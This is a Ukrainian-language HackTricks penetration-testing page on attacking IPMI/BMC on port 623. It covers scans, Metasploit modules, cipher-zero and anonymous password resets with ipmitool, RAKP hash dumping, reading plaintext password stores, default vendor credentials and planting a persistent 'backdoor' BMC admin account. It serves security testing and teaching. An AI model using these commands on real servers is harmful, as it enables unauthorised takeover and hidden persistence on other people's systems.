hacktricks/network-services-pentesting/623-udp-ipmi.md

148 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 623/UDP/TCP - IPMI
## 623/UDP/TCP - IPMI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Основна інформація
### **Огляд IPMI**
**[Інтерфейс управління платформою (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** пропонує стандартизований підхід до віддаленого управління та моніторингу комп'ютерних систем, незалежно від операційної системи або стану живлення. Ця технологія дозволяє системним адміністраторам віддалено керувати системами, навіть коли вони вимкнені або не відповідають, і особливо корисна для:
- Конфігурацій перед завантаженням ОС
- Управління вимкненням
- Відновлення після збоїв системи
IPMI здатен моніторити температури, напруги, швидкості вентиляторів та блоки живлення, а також надавати інформацію про інвентаризацію, переглядати апаратні журнали та надсилати сповіщення через SNMP. Для його роботи необхідні джерело живлення та LAN-з'єднання.
З моменту свого впровадження компанією Intel у 1998 році, IPMI підтримується численними постачальниками, що покращує можливості віддаленого управління, особливо з підтримкою версії 2.0 для серійного з'єднання через LAN. Ключові компоненти включають:
- **Контролер управління материнською платою (BMC):** Основний мікроконтролер для операцій IPMI.
- **Комунікаційні шини та інтерфейси:** Для внутрішньої та зовнішньої комунікації, включаючи ICMB, IPMB та різні інтерфейси для локальних та мережевих з'єднань.
- **Пам'ять IPMI:** Для зберігання журналів та даних.
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**Порт за замовчуванням**: 623/UDP/TCP (Зазвичай працює на UDP, але також може працювати на TCP)
## Перерахування
### Виявлення
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
Ви можете **виявити** **версію** за допомогою:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### IPMI Вразливості
У сфері IPMI 2.0 значна вразливість була виявлена Даном Фармером, що відкриває вразливість через **cipher type 0**. Ця вразливість, детально задокументована в [дослідженні Дана Фармера](http://fish2.com/ipmi/cipherzero.html), дозволяє несанкціонований доступ з будь-яким паролем, якщо цільовим є дійсний користувач. Ця слабкість була виявлена в різних BMC від виробників, таких як HP, Dell та Supermicro, що свідчить про поширену проблему в усіх реалізаціях IPMI 2.0.
### **Обхід автентифікації IPMI через Cipher 0**
Щоб виявити цю вразливість, можна використовувати наступний допоміжний сканер Metasploit:
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
Експлуатація цього недоліку можлива за допомогою `ipmitool`, як показано нижче, що дозволяє переглядати та змінювати паролі користувачів:
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **IPMI 2.0 RAKP Аутентифікація Віддалене Отримання Хешів Паролів**
Ця вразливість дозволяє отримувати посолені хешовані паролі (MD5 та SHA1) для будь-якого існуючого імені користувача. Щоб протестувати цю вразливість, Metasploit пропонує модуль:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **IPMI Анонімна Аутентифікація**
За замовчуванням у багатьох BMC дозволяється "анонімний" доступ, що характеризується порожніми рядками імені користувача та пароля. Цю конфігурацію можна використати для скидання паролів іменованих облікових записів користувачів за допомогою `ipmitool`:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI Паролі у відкритому вигляді**
Критичний вибір дизайну в IPMI 2.0 вимагає зберігання паролів у відкритому вигляді в BMC для цілей аутентифікації. Зберігання цих паролів компанією Supermicro в таких місцях, як `/nv/PSBlock` або `/nv/PSStore`, викликає значні проблеми з безпекою:
```bash
cat /nv/PSBlock
```
### **Уразливість Supermicro IPMI UPnP**
Включення Supermicro прослуховувача UPnP SSDP у своєму прошивці IPMI, зокрема на UDP порту 1900, створює серйозний ризик безпеки. Уразливості в Intel SDK для UPnP Devices версії 1.3.1, як детально описано в [розкритті Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), дозволяють отримати доступ до BMC з правами root:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Brute Force
**HP випадковим чином генерує стандартний пароль** для свого **Integrated Lights Out (iLO)** продукту під час виробництва. Ця практика контрастує з іншими виробниками, які зазвичай використовують **статичні стандартні облікові дані**. Підсумок стандартних імен користувачів та паролів для різних продуктів наведено нижче:
- **HP Integrated Lights Out (iLO)** використовує **фабрично випадкову 8-символьну строку** як свій стандартний пароль, демонструючи вищий рівень безпеки.
- Продукти, такі як **iDRAC від Dell, IMM від IBM** та **Інтегрований контролер віддаленого управління Fujitsu**, використовують легко вгадувані паролі, такі як "calvin", "PASSW0RD" (з нулем) та "admin" відповідно.
- Аналогічно, **Supermicro IPMI (2.0), Oracle/Sun ILOM** та **ASUS iKVM BMC** також використовують прості стандартні облікові дані, з "ADMIN", "changeme" та "admin" як їх паролі.
## Accessing the Host via BMC
Адміністративний доступ до Контролера управління материнською платою (BMC) відкриває різні шляхи для доступу до операційної системи хоста. Простий підхід полягає в експлуатації функціональності KVM BMC. Це можна зробити, перезавантаживши хост до кореневого оболонки через GRUB (використовуючи `init=/bin/sh`) або завантажившись з віртуального CD-ROM, налаштованого як диск відновлення. Такі методи дозволяють безпосередньо маніпулювати диском хоста, включаючи вставку бекдорів, витяг даних або будь-які необхідні дії для оцінки безпеки. Однак це вимагає перезавантаження хоста, що є значним недоліком. Без перезавантаження доступ до працюючого хоста є більш складним і варіюється в залежності від конфігурації хоста. Якщо фізична або серійна консолі хоста залишаються увійденими, їх можна легко захопити через функціональність KVM або serial-over-LAN (sol) BMC за допомогою `ipmitool`. Дослідження експлуатації спільних апаратних ресурсів, таких як шина i2c та Super I/O чип, є областю, що потребує подальшого вивчення.
## Introducing Backdoors into BMC from the Host
Після компрометації хоста, оснащеного BMC, **локальний інтерфейс BMC можна використовувати для вставки бекдор-облікового запису**, створюючи тривалу присутність на сервері. Ця атака вимагає наявності **`ipmitool`** на скомпрометованому хості та активації підтримки драйвера BMC. Наступні команди ілюструють, як новий обліковий запис користувача може бути вставлений у BMC, використовуючи локальний інтерфейс хоста, що обходить необхідність аутентифікації. Ця техніка застосовна до широкого спектру операційних систем, включаючи Linux, Windows, BSD та навіть DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
## Shodan
* `port:623`
## References
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}